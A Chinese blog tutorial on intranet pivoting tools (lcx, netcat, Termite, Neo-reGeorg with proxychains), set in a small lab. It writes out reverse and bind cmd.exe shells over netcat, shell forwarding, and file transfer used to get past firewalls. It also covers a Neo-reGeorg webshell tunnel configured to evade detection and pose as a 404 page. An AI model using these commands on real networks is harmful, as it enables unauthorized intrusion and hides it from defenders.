1. 程式人生 > 其它 >內網代理工具的使用(一)

內網代理工具的使用(一)

內網代理工具使用

利用代理工具可以將內網的流量代理到本地進行訪問,這樣方便我們對內網進行縱向滲透。代理工具區分為正向代理和反向代理。正向代理就是將流量傳送代理裝置,由他代替本地主機去訪問內網目標;一般情況下防火牆不會允許外網機器隨意訪問內網,由內網主機主動交出許可權到代理機器,然後本地去連線代理機器,形成反向代理。

參考連結:https://blog.csdn.net/weixin_44508748/article/details/107345605?spm=1001.2014.3001.5506

實驗環境

物理機通PC1

PC1與通PC2 與物理機

物理機與PC2不相通

1.lcx

lcx是最經典的埠轉發工具,基於Socket套接字實現,有Windows與Linux兩個版本,Linux為portmap,Windows為lcx.exe

在PC1 上執行以下命令

lcx.exe -listen 1111 11122
# 埠1111是目標主機PC2連線本地的埠
# 埠11122是將接收到的伺服器內容轉發埠(物理機連線的埠)

在PC2上執行以下命令,將本地的8080埠轉發到PC1的1111埠

lcx.exe -slave 192.168.1.254 1111 127.0.0.1 8080

我們在物理機上訪問PC1的11122埠,可以訪問到服務

2.NetCat

NetCat,簡稱NC。除開埠轉發以下還對NC的埠探測、檔案傳輸、通訊功能做了簡單的演示:
NetCat 官方地址:http://netcat.sourceforge.net/

1.埠轉發

(1)正向連線(雞肋)

在PC1(192.168.1.254)執行命令將cmdshell繫結在本地5555埠上,將自己的命令列許可權交出來。

nc -l -p 5555 -t -e cmd.exe
# -t是通過telnet模式執行 cmd.exe 程式,可省略

在PC2執行命令連線。

nc -nvv 192.168.1.254 5555
(2)反向連線

PC1開啟監聽本地埠

nc -lp 5555

PC2 進行主動連線交出自己的cmd

nc -t -e cmd.exe 192.168.1.254 5555

2.埠探測

nc -vz -w 2 192.168.1.3 80-8080
# -v視覺化,-z掃描時不傳送資料,-w超時幾秒,後面跟數字

3.檔案傳輸

(1)正向傳輸
#PC1啟動監聽,將9995埠接收到的資料都寫到test檔案裡
nc -l -p 9995 > test
#本地往PC1伺服器的9995埠傳送資料
nc 192.168.1.254 9995 < 1.txt
(2)反向傳輸
#PC1啟動檔案傳送命令,通過9992埠傳送檔案
nc -l -p 9992 < 1.php
#服PC2執行命令下載PC1 :9992埠檔案,並把檔案存到當前目錄資料夾2.php
nc 192.168.1.154 9992 >2.php

對於PC1來說這是出去的流量,可利用此特性躲避防火牆。

4.NC通訊

#開啟監聽
nc -l -p 12345
#連線。形成聊天室,不加密
nc 192.168.1.10 12345

3.Termite工具

Termite是一款極度小巧靈活的跳板機,有別於傳統socks代理,它對於複雜內網環境下的滲透適用性更強,操作也極為簡便。程式分為兩部分,admin(控制端)和agent(為代理端節點),admin和agent所有選項用途均一致:

 -l 指定本地socks埠,等待遠端連線
 -c 指定遠端socks機器ip
 -p 指定遠端socks機器埠

(1).正向連線

PC1開啟監聽

 ./admin_windows_x86.exe -l 6666

PC2開啟監聽

 ./admin_windows_x86.exe -l 7777

物理機連線PC1

#連線成功後檢視連線的隧道會話
show
#進入PC的會話
goto 1
#連線PC
connect 192.168.1.3 7777

傳送檔案

# 傳送檔案。將本地c:\unintall.log檔案傳送到目標伺服器命名為1.txt
goto 2
upfile c:\unintall.log 1.txt

(2)反向連線

反向連線用於穿透防火牆

#PC1保持監聽
 ./admin_windows_x86.exe -l 6666
#PC2主動連線PC1
 ./admin_windows_x86.exe -c 192.168.1.254 -p 6666

使用物理機直接連線PC1

 ./admin_windows_x86.exe -c 192.168.200.141 -p 6666

呼叫PC2 shell

將目標機器cmd shell轉發到本地12345埠
goto 2
shell 12345 
#nc連線,得到cmdshell
nc 127.0.0.1 12345 

埠轉發(並不是很好使)

#埠轉發。將目標3389轉發到本地1189,然後mstsc連線127.0.0.1:1189。注意多級轉發會造成流量擁堵,流量可能出不來
lcxtran 1189 192.168.1.3 3389
#socket代理
#配合proxychains驅動本地軟體對內網進行掃描,由本地1080將流量轉發到內網
socks 1080

4.Neo-reGeorg+Proxychains

參考連結:https://fishpond.blog.csdn.net/article/details/119756779?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2~default~CTRLIST~default-1-119756779-blog-110389330.pc_relevant_default&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2~default~CTRLIST~default-1-119756779-blog-110389330.pc_relevant_default&utm_relevant_index=1

主要功能把內網伺服器埠的資料通過http/https隧道轉發到本機,實現http協議的通訊。

我們用他的升級版本neo-reGeorg

寫於2020年,持續更新,重構版reGeorg,python寫的,提高穩定性和可用性,避免特徵檢測

傳輸內容經過變形 base64 加密,偽裝成 base64 編碼
直接請求響應可定製化 (如偽裝的404頁面)
HTTP Headers 的指令隨機生成,避免特徵檢測
HTTP Headers 可定製化
自定義 HTTP 響應碼
多 URL 隨機請求
服務端 DNS 解析
相容 python2 / python3
服務端環境的高相容性
aspx/ashx/jsp/jspx 已不再依賴 Session,可在無 Cookie 等惡劣環境正常執行

github:https://github.com/L-codes/Neo-reGeorg

原理圖如下:

生成webshell

python3 neoreg.py generate -k password

連線webshell

python3 neoreg.py -k password -u http://xx/tunnel.php

---------特殊用法---------

1.偽裝404

python neoreg.py generate -k <you_password> --file 404.html --httpcode 404

2.如需 Authorization 認證和定製的 Header 或 Cookie

$ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"

3.需要分散請求,可上傳到多個路徑上,如記憶體馬

python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ...

4.使用埠轉發功能,非啟動 socks5 服務 ( 127.0.0.1:1080 -> ip:port )

python neoreg.py -k <you_password> -u <url> -t <ip:port>

我們的PC1 是PHP環境

指令碼上傳後,使用Python執行指令碼進行連線。

python3 neoreg.py -k password -u http://192.168.200.141/tunnel.php

成功連線

然後就可以通過proxychains來利用socks代理來訪問內網,進行內網的訪問。